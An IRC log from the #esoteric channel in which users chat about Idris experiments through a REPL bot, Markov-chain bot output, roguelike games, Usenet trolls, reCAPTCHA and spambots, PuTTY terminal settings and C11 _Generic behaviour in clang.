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17:29:16 <Melvar> Well, the implementation approaches can be made to behave exactly the same, but I’m guessing that the actual Idris implementation parses some edge cases differently even in the language constructs that Idris and Haskell share, and this is not necessarily always considered a bug.
17:29:26 <Melvar> There are almost certainly still outright bugs though.
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18:36:26 <boily> `relcome password2 (because I can :D)
18:38:47 <password2> I like the randomness of this channel
19:08:57 <boily> I lunched at a Vietnamese restaurant, then went grocery shopping, coffee shopping, and now I'm back home playing DCSS.
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19:57:33 <kmc> http://i.imgur.com/hTcbghi.jpg
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20:08:08 <Taneb> Today I bought an apple and ate it, entirely of my own volition. I... don't know who I am any more
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20:11:41 <boily> Taneb: if you are having identity troubles, you should become Canadian. it's a very sane choice.
20:11:54 <boily> kmc: shiny racoons!
20:12:20 <Taneb> boily, I am still reasonably confident about my nationality
20:12:24 <Taneb> Merely not my diet
20:16:12 <password2> oh yeah , i now have an irc bot running
20:16:37 <Taneb> Is it written in Piet
20:23:09 <password2> for now it just sit in a room and responds to hello
20:23:43 <fungot> fizzie: and my soul and nev'r... actually, y'know, the rune over behind xkyon's throne labeled " castle blowing her cover.
20:23:57 <fizzie> This new style is not very good. :/
20:24:14 <boily> Taneb: Canadianness isn't just a nationality. it's a State of Mind. it's a Temperature. it's Kraft Dinner, too!
20:24:37 <boily> fizzie: it already had some interesting moments, but I concur. I think my favourite is the lovecraft one.
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20:24:45 <Taneb> But I was going to make chilli and cheese sandwich things
20:25:07 <olsner> but you had an apple instead?
20:25:25 <Taneb> olsner, the apple was for the walk home from the shop
20:25:26 <fizzie> boily: I'm partial to europarl, for some reason. (And the "irc" style, which was in fact the first.)
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20:25:35 <fungot> Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft nethack oots* pa qwantz sms speeches ss wp youtube
20:25:43 <fungot> Selected style: enron (subset of the Enron email dataset)
20:25:52 <Taneb> fungot, how do I deseed a chilli
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20:25:52 <fungot> Taneb: for an email. check on the appropriate. april brazil mark t. d. anderson will get to know that the issue of how the attached schedule of the plane that landed a job.
20:25:59 <fungot> Selected style: jargon (UNIX-HATERS mailing list archive)
20:26:03 <fungot> olsner: ack, i've gotten more help than criticism from its alumni.
20:26:43 <Taneb> Hmm, I prefer hotter food, should I leave the seeds in, fungot?
20:26:43 <fungot> Taneb: to the root directory and then return to the superficial dogma of the
20:27:49 <olsner> deseeding is overkill in my experience, doesn't seem to matter if there are seeds or not
20:28:21 <Taneb> Thanks, olsner. Tholsner.
20:28:29 <olsner> perhaps it's hotter? but just use less next time if it gets too hot
20:28:59 <Taneb> Oh man, the recipe says use four chillies, but I only bought three :)
20:30:52 <boily> do you have any hot sauce? tomato paste?
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20:32:39 <Taneb> I could just spread it thinner
20:32:45 <Taneb> It's only baked sandwiches
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21:06:00 <fungot> Thanks, olsner. Tholsner.
21:06:23 <fizzie> Replacing HackEgo, one command at a time.
21:06:43 <fizzie> Disclaimer: may have bugs.
21:07:15 <fizzie> If it doesn't have any, then it should have the same semantics as `thanks.
21:08:04 <olsner> the semantics of `thanks luckily doesn't depend too much on the output
21:08:29 <fungot> >2,[>,]+15[>+6>+7>+3>+2<4-]>-6.>-.-7.+13.-3.+8.>-.>+2.<5[<]>[.>]>3+2.>.<3.<2[<]>[[-<2+>+>]+<-97[-4[-4[-6[-6[-4[>-<[-]]]]]]]>[[>]>2-11.<3[<]<.>3[.>]>3.>5][-]>]<3[[<]>2[.>]>5.>2]
21:09:12 <olsner> great way to show thanks, fungot
21:09:12 <fungot> olsner: didn't you think i'm using it as it were the greatest new idea since the counter was big enough, zwgc has an opening for a routing entry first in the header ( as set forth in the file
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21:18:39 <nortti> how would one cleanly search for 3 sequential lines conforming to same regex using standard unix commandset?
21:21:54 <nortti> never mind, awk and counter var
21:29:32 <mroman> standard unix commandset
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22:05:30 <Sgeo_> https://github.com/idris-lang/Idris-dev/issues/287#issuecomment-37738942
22:07:44 * Sgeo_ doesn't actually know what's going on in that code
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22:27:34 <Sgeo_> Except possibly totality checker merely not active
22:28:49 <oerjan> ok it's definitely not getting into the repository.
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22:38:28 <boily> `learn TEST TEST TEST! TEST TEST TEST!
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22:45:36 * boily sings the Zelda grab-item jingle ♪
22:46:02 <boily> (still crawling. just got the Sword of Zonguldrok!)
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23:09:10 <ion> http://fratti.ch/spaghetti/airlessarchives69%20-%20%5bArchive%5d%20Unboxing%202012%20McDonalds%20My%20Little%20Pony%20Toys.webm
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00:28:19 -!- kmc has set topic: shiny racoons | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/.
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00:32:59 <int-e> kmc: "radiant raccoon" would sound like an Ubuntu release.
00:33:49 <int-e> rocks aren't shiny in general
00:33:56 <copumpkin> https://www.youtube.com/watch?v=wNRH7_Kd5Yc
00:35:10 <int-e> ("radiant" is also not synonymous to "shiny", of course, but closer than "rocky", imho)
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00:55:13 * boily is killing unique pandemonium lords ♪ ^^
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01:29:26 <kmc> int-e: indeed
01:31:07 <kmc> what will they do when they reach the end of the alphabet with animals
01:31:10 <kmc> imo start over with mushrooms
01:31:29 <kmc> Ascendent Amanita, Beautiful Bolete, Charming Chanterelle
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01:32:32 <boily> dazzling deathcap (http://crawl.chaosforge.org/Deathcap)
01:36:13 * oerjan swats boily for just beating him to the deathcap -----###
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01:37:25 <oerjan> i see "just" is a bit exaggerated here.
01:39:23 <kmc> there is an actual mushroom called the death cap
01:39:27 <kmc> amanita phalloides
01:40:37 <kmc> often poisons asian immigrants to the western us who are used to picking the very similar lookng volvariella volvacea
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01:44:41 <int-e> HackEgo is censoring overzealously.
01:45:01 <oerjan> maybe e's just meditating.
01:46:08 <int-e> it does not even complain about commands not being found. perhaps the find-a-command script is broken?
01:47:43 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
01:49:21 <oerjan> `fetch http://esolangs.org/wiki/Wierd
01:49:23 <HackEgo> 2014-03-16 01:49:22 URL:http://esolangs.org/wiki/Wierd [18043] -> "Wierd" [1]
01:49:39 <int-e> oh, the builtins don't use the sandbox machinery, right?
01:49:45 <oerjan> showed up in the repository browser too
01:50:07 <oerjan> and then he's idle again.
01:50:50 <oerjan> hm the revert did _not_ show.
01:52:18 <int-e> elliott: what did that do? the commit looks awfully big ...
01:52:26 <elliott> int-e: went back some trillion years
01:52:37 <elliott> back to when hackego roamed with the dinosaurs
01:53:29 <int-e> http://codu.org/projects/hackbot/fshg/index.cgi/file/03afb1619ef2/wisdom ... wow.
01:54:35 <int-e> ok, every second revert gets through?
01:54:38 <oerjan> int-e: what was that for?
01:55:04 <int-e> I'd hope that 4528 is http://codu.org/projects/hackbot/fshg/index.cgi/rev/c8d06895aeef
01:55:37 <oerjan> well it's the number of the revision before i fetched Wierd
01:56:09 <int-e> In any case, I missed your `revert.
01:56:28 <int-e> I stare at IRC, I stare at the web browser, I lose context.
01:57:14 <oerjan> anyway, all the non-sandbox commands seem to work _sometimes_.
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02:18:00 <boily> MWAH AH AH AH AH AH AH!
02:19:10 <oerjan> i knew it, the saneness was just a ruse
02:19:49 <boily> sorry. I just killed the fourth unique Pandemonium Lord.
02:20:00 <boily> (eviscerating demons is a fun activity!)
02:20:14 <oerjan> fourth? that doesn't sound very unique.
02:20:22 <Sgeo_> ( let muahaha = the (Stream String) "haha" : muahaha
02:20:28 <Sgeo_> ( let muahaha = the (Stream String) "haha" : muahaha in muahaha
02:20:40 <Sgeo_> ( let muahaha = the (Stream String) ("haha" : muahaha in muahaha)
02:21:10 <boily> oerjan: in DCSS, there are an infinity of pandemonium levels, each with a randomized pandemonium lord.
02:21:35 <boily> oerjan: of these infinite levels, four have a predefined fixed vault, with a fixed unique and a fixed rune.
02:21:43 <boily> therefour, they are four, but unique.
02:21:57 <oerjan> Sgeo_: it doesn't work for two different reasons, one of which i tried out earlier and it doesn't work inside let.
02:22:26 <oerjan> (basically let is _not_ recursive in idris.)
02:22:55 <Bike> is idris not lazy...?
02:24:26 <Sgeo_> It's strict by default, but has laziness annotations. I don't know how those interact with codata.
02:25:15 <oerjan> i tried applying laziness too, it didn't help with the lack of recursion.
02:25:25 <oerjan> admittedly i haven't read any actual tutorial.
02:26:31 <oerjan> Melvar said something about recursion being allowed in where clauses, but i couldn't find out how to put one in.
02:27:59 <oerjan> maybe you can only put them on top level declarations, or something.
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04:53:50 <Sgeo_> http://imgur.com/a/sAIe6
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05:21:59 <Bike> try going left
05:34:48 <Jafet> `welcome manueliitho
05:35:17 <Jafet> I expected as much
05:36:13 <Jafet> manueliitho: welcome to the esoteric channel of, uh, shiny racoons
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05:46:53 <Sgeo_> http://i.imgur.com/ALjs0rf.jpg
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06:25:47 <zzo38> I believe that allowing triggers to be indexed would be a good idea to add into SQL, in case you have one hundred triggers on one view, that you can speed up finding the correct trigger to execute.
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11:22:49 <Melvar> Sgeo_: Would you please not try to produce an infinite recursion? It locks up the REPL, taking down the bot.
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11:25:54 <Melvar> ( take 20 (Stream.repeat "haha")
11:25:54 <idris-ircslave> ["haha", "haha", "haha", "haha", "haha", "haha", "haha", "haha", "haha", "haha", "haha", "haha", "haha", "haha", "haha", "haha", "haha", "haha", "haha", "haha"] : Vect 20 String
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11:39:02 <FreeFull> Melvar: Some sort of timeout should probably be added
11:39:13 <idris-ircslave> Can't disambiguate name: Prelude.List.take, Prelude.Stream.take, Prelude.Vect.take
11:39:23 <idris-ircslave> Prelude.Stream.take : (n : Nat) -> (Stream a) -> Vect n a
11:55:33 <Melvar> FreeFull: The bot has a timeout. The REPL it communicates with does not.
12:01:21 <FreeFull> Melvar: How do you produce an infinite loop anyway? I want to test something, locally
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12:20:54 <olsner> Jafet: someone was apparently not looking for shiny racoons
12:23:41 <boily> still shiny racooning?
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13:37:41 <oerjan> I WANT MY FIBONACCI DAMMIT
13:39:23 <idris-ircslave> Prelude.Foldable.foldr : Foldable t => (elt -> acc -> acc) -> acc -> (t elt) -> acc
13:40:10 <Deewiant> Would any folks here happen to have free access to http://www.sciencedirect.com/science/article/pii/0734189X88901144
13:41:53 <boily> I don't seem to have any access anymore :(
13:42:32 <oerjan> clearly false advertising, how can it be direct if people don't have access
13:44:29 <Deewiant> There may be more false advertising involved: I'm actually looking for a different article which is supposed to be on pages 14–27 of that issue while the linked article should only cover pages 1–13
13:44:57 <Deewiant> But sciencedirect doesn't even mention the other one so I'm wondering if they're both in the PDF of that one or what's up
13:48:46 <Deewiant> Yes, that's what sciencedirect claims
13:48:57 <Deewiant> Or did you see the PDF itself?
13:50:04 <Jafet> It has the same number of pages as http://46.4.207.77/a.pdf
13:51:08 <Deewiant> Right, so some merging took place on Elsevier's end, thanks
13:51:51 <oerjan> bah last darths & droids was clearly false alarm. i guess they didn't have the picture frames for it.
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13:56:09 <oerjan> ( :t with Stream foldr (::) []
13:56:36 <oerjan> ( :t with Stream foldr (\x y -> x :: Delay y) []
13:56:36 <idris-ircslave> Can't disambiguate name: Data.HVect.Nil, Prelude.List.Nil, Data.Vect.Quantifiers.Nil, Prelude.Vect.Nil
13:56:56 <oerjan> oh right there's no stream Nil.
13:57:50 <oerjan> ( :t with Stream foldr (\x y -> x :: Delay y)
13:57:56 <oerjan> ( :t with Stream foldr (\x y => x :: Delay y)
13:58:21 <lambdabot> parse error (possibly incorrect indentation or mismatched brackets)
13:58:58 <Taneb> Potential botloop there...
13:59:44 <Jafet> There is no type beginning with a ( , is there.
13:59:57 <Taneb> You can with type operators
14:00:20 <Jafet> That begins with (a.
14:00:25 <oerjan> but i don't think you'll be able to get a space.
14:01:43 <oerjan> (we don't want idris-ircslave to give error messages everyone writes like this.)
14:02:09 <oerjan> i think my brain needs service.
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14:13:24 <oerjan> a dog is barking. some asshole got a new one. time to buy poison.
14:14:13 <oerjan> hm that misses a season. make that "barking dog in spring."
14:15:32 <oerjan> let's hope it's just visiting.
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14:17:53 <boily> yesterday night, around 11pm EDT, my neighbours randomly guffawed. it was... more weird than anything else.
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14:33:09 <oerjan> sadly, it's not just visiting. it's in the apartment next to mine that has been vacant all until now.
14:35:58 <Taneb> keep the viking theme
15:20:04 <Melvar> oerjan: Lambda arguments currently require commas between, i.e. (\x y => …) doesn’t parse, it needs to be (\x,y => …). I think somebody really really wants to change that, but I don’t know if or when that change might show up.
15:20:25 <Melvar> Taneb: There currently is no (^) operator in the prelude.
15:21:09 <Melvar> That does exist though. Should be renamed or aliased.
15:35:20 <oerjan> yay the dog stopped while i was shaving. i think its humans came back
15:41:02 <oerjan> ( :t with Stream foldr (\x, y => x :: Delay y)
15:41:36 <oerjan> ( :t with Stream foldr (\x, y => the (Stream a) (x :: Delay y))
15:41:44 <oerjan> ( :t with Stream foldr (\x, y => the (Stream _) (x :: Delay y))
15:41:55 <oerjan> i guess Stream just isn't foldable.
15:42:38 <oerjan> although obviously there _are_ codata versions of folds in some cases...
15:44:15 <oerjan> ( :t \z => with Stream foldr (\x, y => the (Stream _) (x :: Delay y)) z z
15:44:52 <Melvar> ( the (Foldable List) %instance
15:44:52 <idris-ircslave> constructor of Prelude.Foldable.Foldable (\{meth0} => \{meth1} => \{meth2} => \{meth3} => \{meth4} => List instance of Prelude.Foldable.Foldable, method foldr meth meth meth) : Foldable List
15:45:07 <Melvar> ( the (Foldable Stream) %instance
15:46:13 <idris-ircslave> foldr : Foldable t => (elt -> acc -> acc) -> acc -> (t elt) -> acc
15:47:00 <Melvar> oerjan: %instance means “fill this term in using instance search”.
15:47:05 <idris-ircslave> traverse : Traversable t => Applicative f => (a -> f b) -> (t a) -> f (t b)
15:47:42 <Melvar> And type class instances are actual values.
15:48:09 <Melvar> Not imported at present.
15:48:49 <oerjan> i think idris-ircslave has deviously dropped everything that could be used to create a fibonacci stream.
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15:50:21 <oerjan> i cannot guarantee that State would work though, maybe it's too strict.
15:51:14 <Melvar> Okay, something went wrong.
15:51:28 <Melvar> No, just checking for somethinge else that should have been there.
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15:58:57 <Melvar> I recently added an unrelated incorrect import and didn’t test it after that.
16:00:03 <Melvar> Not the ZZ, I thought there was still Data.Uninhabited, but that got moved into Prelude sometime.
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16:02:10 <Melvar> (Which is just (FalseElim . uninhabited).)
16:03:01 <Melvar> So, I took the opportunity to update my Idris, I’ll restart once more in a moment and hopefully we’ll have our imports again.
16:03:39 <Melvar> oerjan: Also, yes, the State is almost certainly too strict for generating a Stream in its state.
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16:08:23 <Melvar> (Funny how those are opposite-colored.)
16:08:38 <idris-ircslave> Can't disambiguate name: Effect.State.State, Control.Monad.State.State
16:09:04 <Melvar> ( \x y => Monad.State.State x y
16:09:09 <Melvar> ( \x, y => Monad.State.State x y
16:09:09 <idris-ircslave> \x => \y => StateT x Identity y : Type -> Type -> Type
16:11:22 <oerjan> ( let fib 0 = 1; fib 1 = 1; fib n = fib (n-1) + fib (n-2) in fib (the Integer 3)
16:12:12 <oerjan> someone said idris allowed ; in place of whitespace, they were confused.
16:12:39 <Melvar> I don’t think you can have multiple clauses in let.
16:12:41 <oerjan> or just another missing syntax i guess.
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16:13:24 <oerjan> ok get back to me when idris is no longer subtly broken everywhere twh
16:13:35 <Melvar> For multiple bindings, I think you have to nest lets.
16:13:55 <Melvar> ( let next (a,b) = (b,a+b) in take 10 (iterate next (Z,S Z))
16:15:16 <oerjan> ( let next = \(a,b) => (b,a+b) in take 10 (iterate next (Z,S Z))
16:15:16 <idris-ircslave> [(0, 1), (1, 1), (1, 2), (2, 3), (3, 5), (5, 8), (8, 13), (13, 21), (21, 34), (34, 55)] : Vect 10 (Nat, Nat)
16:15:43 <oerjan> ( let next = \(a,b) => (b,a+b) in map head $ take 10 (iterate next (Z,S Z))
16:15:44 <idris-ircslave> (input):1:42:Can't disambiguate name: Prelude.List.head, Prelude.Stream.head, Prelude.Vect.head
16:16:10 <oerjan> ( let next = \(a,b) => (b,a+b) in map fst $ take 10 (iterate next (Z,S Z))
16:16:29 <oerjan> although i find it quite silly to have both overloading and type classes.
16:16:30 <Melvar> ( let next = \(a,b) => (b,a+b) in take 10 (map fst (iterate next (Z,S Z)))
16:17:29 <Melvar> Type classes are useful for abstracting across, but sometimes you need a different signature.
16:17:43 <idris-ircslave> Prelude.Applicative.<$> : Applicative f => (f (a -> b)) -> (f a) -> f b
16:17:43 <idris-ircslave> Effects.<$> : (Eff m (a -> b) xs (\v => xs)) -> (Eff m a xs (\v1 => xs)) -> Eff m b xs (\v2 => xs)
16:18:36 <oerjan> yes, but are those heads _really_ that incompatible.
16:18:44 <idris-ircslave> Prelude.List.head : (l : List a) -> (isCons l = True) -> a
16:18:51 <idris-ircslave> Prelude.List.head : (l : List a) -> (isCons l = True) -> a
16:19:28 <oerjan> hm i guess the List one doesn't quite fit.
16:19:29 <Melvar> For a list, you need a proof it is nonempty. For a stream, there is no condition. For a Vect, it needs to be indexed by a successor.
16:20:00 <oerjan> eek, someone restarted the dog.
16:24:00 <Melvar> List.head is almost useless this way; the type for the proof is a poor choice for actual use. Generally, better to just pattern match and be done.
16:25:03 <oerjan> those always give nonempty elements.
16:25:16 <oerjan> (if they exist somewhere)
16:26:16 <Melvar> Probably why nobody has added them yet: They’ll want a type involving nonempty lists.
16:27:14 <Melvar> (And we don’t have a standard type for nonempty lists yet.)
16:27:31 <idris-ircslave> Data.HVect.index : (i : Fin k) -> (HVect ts) -> index i ts
16:27:31 <idris-ircslave> Prelude.List.index : (n : Nat) -> (l : List a) -> (lt n (length l) = True) -> a
16:28:49 <Melvar> Note how HVect.index has Vect.index in its type.
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16:45:19 <itsy> Does anyone here work at Cisco? I'm trying to get hold of someone...
16:49:51 <ion> Wtf? There’s a poll going on to choose one of the three pieces of “art” by students of the local polytechnic to be displayed on the wall of the building seen in the first photo. http://www.aamulehti.fi/Kulttuuri/1194884445935/artikkeli/aanesta+mika+tamk+n+opiskelijoiden+taideteos+paasee+talon+seinalle+.html
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17:20:30 <kmc> http://www.aamulehti.fi/Kulttuuri/1194884445935/artikkeli/aanesta+mika+tamk+n+opiskelijoiden+taideteos+paasee+talon+seinalle+.html
17:20:53 <kmc> ion: wow, wtf indeed
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17:30:03 <Jafet> Better than a giant film poster
17:32:14 <kmc> film posters generate revenue
17:33:04 <kmc> in America there is this weird thing where the adverts outside convenience stores have tiny print signs saying "Win these posters and other prizes, inquire within" as some kind of legal dodge
17:33:08 <kmc> i,i legal doge
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18:07:01 <fizzie> I voted for #3 because I want to see more glitched textures in real life.
18:39:08 <Taneb> Which is better, unfounded hope or unfounded despair?
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19:10:40 <ion> I voted for #1 because le trolling. It would be great to have a huge racist slogan on a prominent wall.
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19:37:07 <ais523> oh, beautiful: there's something of a flamewar going on on comp.lang.c about whether a particular poster is or is not a bot
19:37:27 <ais523> either way, he/she/it seems to be a decent troll, comparing the length of the posts to the lengths of the resulting followups
19:46:44 <fizzie> Is there a name for that metric?
19:48:42 <ais523> ofc it doesn't just measure how good a troll you are, that also depends on how useful the resulting discussion is
19:49:02 <ais523> a perfect troll can use one word to start an infinitely long conversation with no useful content whatsoever
19:49:39 <int-e> or by registering an account
19:50:09 <int-e> (an old favourite, cf. http://www.criticalmiss.com/issue9/troll1.html )
19:51:43 <ais523> huh, trolling has rules
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20:06:18 <itsy> ais523: is that troll Skybuck Flying?
20:07:49 <itsy> ais523: ah okay. I noticed Skybuck (our Core War troll) is also trolling comp.lang.c
20:08:22 <ais523> yeah, I don't think he/she's easily confusable for a markovbot, though
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20:14:11 <itsy> ais523: Unfortunately he floods r.g.cw with pointless posts. It's a pretty quiet newsgroup so we have a very high noise/signal ratio :-( If you google him, he appears to have had a 10+ year trolling career and there's a few Youtube videos which make him appear completely crazy.
20:14:28 <ais523> itsy: such trolls normally change nym after a while
20:14:37 <ais523> to make themselves harder to killfile
20:16:34 <itsy> He's been using the same name for a while. Maybe using multiple names.
20:18:14 <fizzie> Huh, I recognize those names.
20:18:27 <fizzie> (Haven't been reading clc or news in general for the last year or two.)
20:20:22 <itsy> comp.lang.forth also has a bad case of trolls :-(
20:28:07 <Jafet> Trolls don't succeed so much as communities fail.
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20:44:34 <kmc> "Scan the barcode on page 31 or type the bytes on page 32 to get a working Tetris game as an X86 Master Boot Record." https://twitter.com/travisgoodspeed/status/445299465721614336
20:44:41 <kmc> I think this is the kind of publication I would enjoy writing for
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21:06:49 <Bike> kmc: haha. i wonder if anyone's ever wrote thos things so they'd work ok even with a few transcription errors
21:06:58 <kmc> good question
21:07:00 <kmc> I thought about that a little
21:07:13 <kmc> I think it's pretty hard; a lot of single byte errors will produce an invalid instruction
21:08:31 <elliott> you just need enough to implement error correction + self-modify
21:08:39 <ais523> there was a quine posted to Reddit a while ago that would reproduce the original program with any character deleted
21:08:39 <ais523> but allowing for substitutions is much harder
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21:09:15 <ais523> yeah, the best technique in practice is probably to add error correction code and hope that that bit of code works correctly
21:09:29 <ais523> it might be interesting to, say, have two copies of the error correction code that run in parallel
21:09:40 <ais523> and start off by trying to correct errors in each other
21:09:48 <ais523> sort-of like cooperative Core Wars
21:10:06 <Jafet> I wouldn't be surprised if JPL built those already
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21:17:24 <Jafet> In other news, mathematica is fun http://46.4.207.77/solar.gif
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21:23:52 <Sgeo_> Except blatantly not to scale, sun should certainly move across more frequently than it is relative to season change
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21:36:08 <Bike> survivable code is an interesting thing. it's like how the occasional tendency of mutation in DNA is adaptive.
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22:36:42 <ion> http://i.imgur.com/kVASZSk.jpg
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22:44:48 <Bike> imgur needs to stop naming everything .jpg
22:44:59 <ion> Especially .jpegs
22:46:23 <Sgeo_> Bike... my client thinks you're not here
22:47:57 <olsner> Bike: http://i.imgur.com/kVASZSk.png <-- better?
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23:06:58 <Bike> i'm at the point of wanting to complain about linux distributions. is there a cure?
23:07:42 <ais523> Bike: you could write patches for Unity
23:07:49 <ais523> that worked in my case, I'm not sure why though
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02:19:17 <Taneb> I just realised something
02:19:27 <Taneb> I find the concept of living near one's cousins really alien
02:20:26 <Taneb> Also I need to sleep
02:20:31 <Taneb> Goodnight #esoteric
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02:23:10 <oerjan> in particular, Taneb's cousin It
02:23:35 <Taneb> oerjan, all my cousins live in Australia
02:24:23 <Sgeo_> These things sound surprisingly good once I realize that there are two devices and I need to be sending to stereo
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05:33:13 <Sgeo_> "(Yes, eval() is used here, leaving you at mortal risk of XSS-attacking yourself.)"
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06:28:51 <shachaf> kmc: http://www.crazygames.com/game/9007199254740992
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07:03:25 <zzo38> How do I use other programs on my computer with a SSH tunnel?
07:03:57 <zzo38> I have Cygwin and PuTTY and netcat all installed.
07:17:39 <kmc> shachaf: yesssssss
07:36:48 <fizzie> 2^53 is arguably a strange number to stop at, given that all the values involved would be powers of two and therefore exactly representable even beyond the integer values in a double.
07:37:10 <ais523> fizzie: many people don't really understand how floats work
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07:55:55 <Jafet> Did you know that 2048 is isomorphic to a game where the largest number involved is 11
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07:58:04 <ais523> also to a game where the largest number involved is -3, although that might be a bit less intuitive
07:58:43 <Jafet> http://www.twitch.tv/twitchplays2048
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08:04:10 <shachaf> ais523: is -3 just an arbitrary choice here or interesting in some way
08:04:23 <ais523> only I wanted it to be negative
08:05:21 <fizzie> For any game X, what's the expected time difference between the release of X and the appearance of Twitch Plays X?
08:06:15 <fizzie> (Also, should high-level chess tournaments have a Twitch Plays Chess competitor?)
08:06:45 <Jafet> http://en.wikipedia.org/wiki/Kasparov_versus_the_World
08:07:06 <fizzie> Now that you mention it, I vaguely recall that.
08:07:43 <Jafet> 50 thousand people... about the same number of participants as tpp
08:08:04 <fizzie> It didn't have a democracy/anarchy vote, though. Not that I think that would've improved the World Team's chance of winning.
08:08:37 <Jafet> "STOP PRESSING RESIGN"
08:08:45 <zzo38> Jafet: Is that because Kasparov is a good chess player, or because of the way the world team's moves are decided?
08:12:12 <fizzie> This dropped in my inbox a moment ago, and is possibly even slightly related to the topic: http://sprunge.us/jbIC
08:13:23 <ais523> how do they prove that the humans are actually picking the median value and not just pressing buttons at random?
08:15:43 <Jafet> I wonder how large their "experiments" were
08:16:35 <fizzie> They don't; the proof seems to be just for the fact that the process (the whole deal with the triplets) coincides with the mean if the triplets are samples from a univariate normal distribution.
08:16:51 <Jafet> On a relatedly related note, it seems that you can ignore the non-captcha part of a recaptcha and it will still let you pass
08:17:43 <fizzie> For the semantic-clustering-of-images task, it's not like there'd be an actual correct median value, anyway.
08:18:29 <ais523> recaptcha no longer serves its original purpose
08:18:46 <ais523> it used to be that both halves were words that Google's OCR couldn't handle
08:18:51 <ais523> but the spambots got good at it
08:19:04 <ais523> and instead of just using the spambots to digitize books, they screwed everything up
08:19:11 <ais523> and now the spambots don't have to bother with the digitization
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08:20:01 <fizzie> How did the check work if both words were un-OCRable
08:20:26 <coppro> ais523: what do you mean by "the spambots don't have to bother with the digitization"?
08:20:39 <ais523> fizzie: one of the words would be a word that had already been checked by many humans
08:21:09 <ais523> coppro: it's easy to tell which of the two words/number sequences is being digitized, and which one is random
08:21:37 <coppro> ah, I see what you mean
08:22:09 <coppro> and of course you can't use voting or anything because the spambots outnumber the humans
08:22:17 <zzo38> Is the source codes for those spambots available?
08:23:32 <ais523> most likely no, although you never know
08:23:35 <Jafet> In principle you don't need the source code, you just trade their OCR services for a free email account or whatever.
08:24:00 <zzo38> Such a thing would be useful, for several purposes, such as: to figure out how to prevent such spam, to port it to another computer, or if it implements OCR, to improve open source OCR stuff.
08:24:10 <ais523> I know that as part of my teaching job, my boss asked me to make a system to email a bunch of students their feedback for the week
08:24:17 <zzo38> (And to answer questions, if it is a question CAPTCHA)
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08:24:43 <ais523> and looking up libraries to do so, I found one that was designed for sending a huge number of emails to a particular server in a short space of time
08:25:00 <zzo38> Spambots do other stuff too of course, and some of these may be useful to have source codes for, for various purposes.
08:25:00 <ais523> I thought "hmm, that seems useful for spambots", and then used it anyway because it was what I needed
08:25:57 <zzo38> Why doesn't the shift-in and shift-out controls work in PuTTY?
08:26:47 <ais523> zzo38: because PuTTY cannot handle character set switching when UTF-8 is turned on, which is probably a bug
08:26:58 <ais523> they will work if you set it to, say, Latin-1
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08:30:17 <zzo38> In the session I used that, it was set to Latin-1. I tried changing it to CP437 and it still doesn't work.
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08:31:58 <ais523> zzo38: another thing to check: SI and SO change between character sets G0 and G1, which are both customizable
08:32:08 <ais523> if they're set to the same thing, then SI and SO will have no visible effect
08:32:31 <zzo38> I intended it to be set to VT100 characters
08:32:38 <ais523> the normal setup would be "ESC ( B ESC ) 0"
08:32:46 <ais523> which sets G0 to Latin-1 and G1 to VT100
08:34:23 <zzo38> Can the initial setting be configured in PuTTY?
08:35:39 <zzo38> Why isn't that the default setting anyways?
08:35:56 <zzo38> It seems like setting G1 to VT100 ought to be the default setting.
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08:39:58 <zzo38> I have LANG=C set up but now I found another environment variable called LANGUAGE, what is that one for?
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08:57:30 <zzo38> I have idea about chess, where you may consider draws sometimes to be a half-win or half-lose.
08:58:34 <zzo38> For example, a stalemated player is half-lose, player whose move is the third of a three-times-repetition is half-lose.
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09:18:05 <fizzie> zzo38: For glibc, you can put a list of languages in "LANGUAGE", and that will be used as a priority order for languages for messages; it overrides LANG, LC_MESSAGES and LC_ALL, except if those specify "C", in which case it has no effect. I don't think it's included in POSIX.
09:18:32 <fizzie> (The idea being that you can specify the fallback language if there are no translations for your preferred language.)
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10:03:37 <zzo38> I have specified "C" in LANG.
10:05:42 <zzo38> Which I think always should be used.
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10:06:46 <zzo38> But you might want to override for messages only, in case you prefer non-English languages
10:08:33 <ais523> oh, btw, I found another compiler bug yesterday; the version of clang in the repos here produces warning messages for non-taken branches of a _Generic expression, even though they aren't evaluated and so there's no point in producing warnings for them
10:11:10 <fizzie> Does it also produce errors?
10:12:11 <ais523> that's worth testing, but that might arguably not violate the standard
10:12:22 <ais523> non-taken branches of a _Generic are sort-of like the argument to sizeof
10:12:36 <ais523> it's acknowledged that it exists, it just is never evaluated
10:12:45 <fizzie> Mine seems to, for (at least some) constraint violations.
10:12:48 <ais523> maybe clang isn't buggy after all, maybe it's the standard that's buggy
10:14:44 <fizzie> Could be. It does make _Generic a bit less generically (no pun intended) applicable.
10:15:40 <fizzie> E.g. I tried out _Generic(p, int: p ^= 1, char *: p += 1) for a char *p, and you could argue that should be okay, since ^= 1 makes sense for an int, but according to clang (and very possibly the standard) it's a constraint violation nevertheless.
10:15:51 <ais523> yeah, I was trying to use it to discover which of the arguments to macros are string literals
10:16:19 <ais523> this is probably worth taking to Usenet
10:16:39 <ais523> it'd be nice to have a way to suppress warnings, at least
10:16:53 <ais523> because I can initialize a char * with a struct if I really have to
10:17:00 <ais523> I guess I could cheat and cast via void *
10:17:05 <ais523> which would suppress the warning
10:17:16 <ais523> this is all pointless, anyway, because gcc doesn't do _Generic yet
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10:19:31 <fizzie> You can take the quasi-portable approach and use GCC extensions on GCC and (try to use) _Generic elsewhere.
10:20:13 <fizzie> (Also it's going to be in 4.9.)
10:23:31 <fizzie> _Generic(e, a: x, b: y, default: z) is at least approximately __builtin_choose_expr(__builtin_types_compatible(__typeof__(e), a), x, __builtin_choose_expr(__builtin_types_compatible(__typeof__(e), b), y, z)), after all.
10:23:59 <ais523> except that the standard version of _Generic errors if multiple types match
10:25:15 <Taneb> nethack: how do I open a box
10:25:29 <ais523> or in NetHack 4, a then ,
10:25:41 <ais523> (#loot also works in NH4 but a, is easier to type)
10:25:54 <ais523> (and more consistent with the other controls)
10:25:55 <fizzie> I'm sure you can work that in too. (Static assert on the sum of 0s or 1s chosen based on type compatibility <= 1.)
10:26:32 <Taneb> How common are keys?
10:26:45 <ais523> not that rare, you're more likely to find them in the Mines
10:26:51 <ais523> either randomly, or purchasing them from shops
